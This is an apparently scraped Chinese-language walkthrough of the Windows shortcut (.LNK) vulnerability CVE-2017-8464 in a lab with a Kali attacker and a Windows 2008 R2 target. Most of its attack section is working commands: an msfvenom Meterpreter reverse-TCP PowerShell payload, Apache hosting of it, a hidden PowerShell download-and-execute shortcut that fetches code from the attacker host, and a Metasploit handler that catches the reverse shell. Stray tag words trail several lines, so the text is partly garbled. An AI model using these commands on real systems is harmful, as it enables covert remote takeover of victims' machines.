2017年6月13日,微軟官方發佈編號爲CVE-2017-8464的漏洞公告,官方介紹Windows系統在解析快捷方式時存在遠程執行任意代碼的高危漏洞,黑客能夠經過U盤、網絡共享等途徑觸發漏洞,徹底控制用戶系統,安全風險高危html
攻擊者能夠向用戶呈現包含惡意的.LNK文件和相關聯的惡意二進制文件的可移動驅動器或遠程共享。 當用戶在Windows資源管理器或解析.LNK文件的任何其餘應用程序中打開此驅動器(或遠程共享)時,惡意二進制程序將在目標系統上執行攻擊者選擇的代碼,成功利用此漏洞的攻擊者能夠得到與本地用戶相同的用戶權限。
註釋:.LNK是windows系統內應用程序快捷方式文件的文件類型後綴名。
漏洞利用條件和方式: web
遠程利用
漏洞影響範圍: shell
服務器系統apache
利用原理:windows
建立惡意快捷方式,包含惡意執行腳本,點擊惡意快捷方式,致使本機中病毒。安全
環境搭建:服務器
攻擊機:kali ip:10.0.0.140網絡
目標靶機:win2008r2x64 ip:192.168.99.104tcp
1.kali下生成一個反彈的 ps1的shell:spa
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.0.0.140 lport=5555 -f psh-reflection>/opt/search.ps1
2.切換到opt目錄,而後查看到已生成了search.ps1 的powershell 後門
cd /opt
ls
3.將生成的search.ps1拷貝到/var/www/html目錄下
mv search.ps1 /var/www/html ls
4.啓動apache服務
service apache2 start
5.訪問web下的search.ps1,能夠直接訪問:
6.在靶機上建立一個powershell遠程快捷:
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.140/search.ps1');test.ps1"
7.名稱爲:powershell.exe
8.kali下建立監聽反彈,而且能夠看到成功反彈出靶機的shell:
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp show options set LHOST 10.0.0.140 set lport 5555 exploit